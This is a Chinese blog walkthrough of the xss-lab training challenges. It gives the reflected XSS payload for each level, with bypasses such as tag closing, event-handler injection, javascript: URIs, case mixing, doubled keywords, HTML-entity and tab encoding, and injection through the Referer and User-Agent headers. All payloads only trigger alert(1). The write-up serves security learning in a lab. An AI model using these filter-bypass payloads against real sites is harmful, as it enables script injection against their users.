XSS学习 xss-Lab题解

目录

 XSS类型​

level 1 无过滤

level 2 input闭合

level 3 单引号闭合+添加事件

level 4 双引号闭合+添加事件

level 5 JavaScript伪协议

level 6 大小写绕过

level 7 双写绕过

level 8 编码绕过

level 9 编码+检测关键字

level 10 隐藏信息

 level 11 Referer

level 12 User-agent

level 13 cookie

level 16 空格实体转义


 XSS类型

 

 

 

level 1 无过滤

没有任何防护,直接url传xss

 name=<script>alert(1)</script>

level 2 input闭合

 有个input标签,尝试用"> 闭合标签

(在网页源代码中,我们输入的数据,是在表单中的value属性内,所以需要先闭合input标签,然后在注入代码,闭合标签)

"><script>alert(1)</script>

level 3 单引号闭合+添加事件

测试发现尖括号被转换字符实体了, 并且这题用单引号闭合 

不能script代码,转变方向,使用表单中的事件来调用alert(),前后单引号都要闭合

' onclick='alert(1) 

level 4 双引号闭合+添加事件

尝试后,查看源码,发现是过滤了<>, 也是"闭合

绕过与上题类似

test" onclick="alert(1) 

level 5 JavaScript伪协议

这一关把ri转换为r_i,所以考虑绕过该机制

然后发现on也被过滤了,而且所有的事件属性都是带有on的,所以在此处无法采用事件

构造一个Payload闭合闭合原标签,重新创建一个a标签

a标签中引入一个script超链接来调用弹窗

"><a href="javascript:alert(1)">link</a>

  

level 6 大小写绕过

尝试之后还是对关键字进行了过滤

尝试第五关的方式"><a href="javascript:alert(1)">link</a>

 这一关没有过滤大小写,用大写HREF 是可以的,

所有的标签都可以用,只要换成大写,或大小写混合就可以了

"><a HREF="javascript:alert(1)">link</a>
"><SCRIPT>alert(1)</SCRIPT>

level 7 双写绕过

测试一下

直接过滤为空了,所以考虑双写关键字

"><scscriptript>alert(1)</scscriptript>

level 8 编码绕过

过滤了关键字,这题给了a链接,所以我们在这里操作

script转字符实体是&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;

构造payload

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

这一关我们还有一种别的方法是利用tab键进行绕过 ,用tab分隔script

javasc	ript:alert(1)

level 9 编码+检测关键字

用第八关方式,回显这个

 payload后面要加上 http://

javasc	ript:alert(1)//http://
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http://

level 10 隐藏信息

 界面没有输入点,input被隐藏了

 F12删除hidden,因为尖括号被过滤了,所以使用事件 ,

"type="text" onclick="alert(1)

也可以url直接补上

/level10.php?t_sort="onclick=alert(1) type=text"

 level 11 Referer

看wp也不是很明白,就是说抓个包,修改referer

 抓到数据包后在里面添加referer头可以实现input注入

那么可以通过修改referer来xss攻击

referer: "type="text" onclick="alert(1)

 然后放包就行了

level 12 User-agent

这题这里又是ua,也就是User-agent, 

我们继续判断是在User-agent处进行xss,抓包处理,确实如此

直接在UA后面添加就可

 放包通过

level 13 cookie

这里又是cookie,老方法试一下,我这里文件出问题了没有出来

,看wp与前两题思路一样

level 16 空格实体转义

过滤了script和空格并且把/替换成了 ;但是没有过滤<>所以我们构造语句:

构造语句:

<img
src=”111”
onerror=alert(1)
>

可以使用%0a换行,也就是

<img%0asrc="111"%0aonerror=alert(1)%0a>

  • 1
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值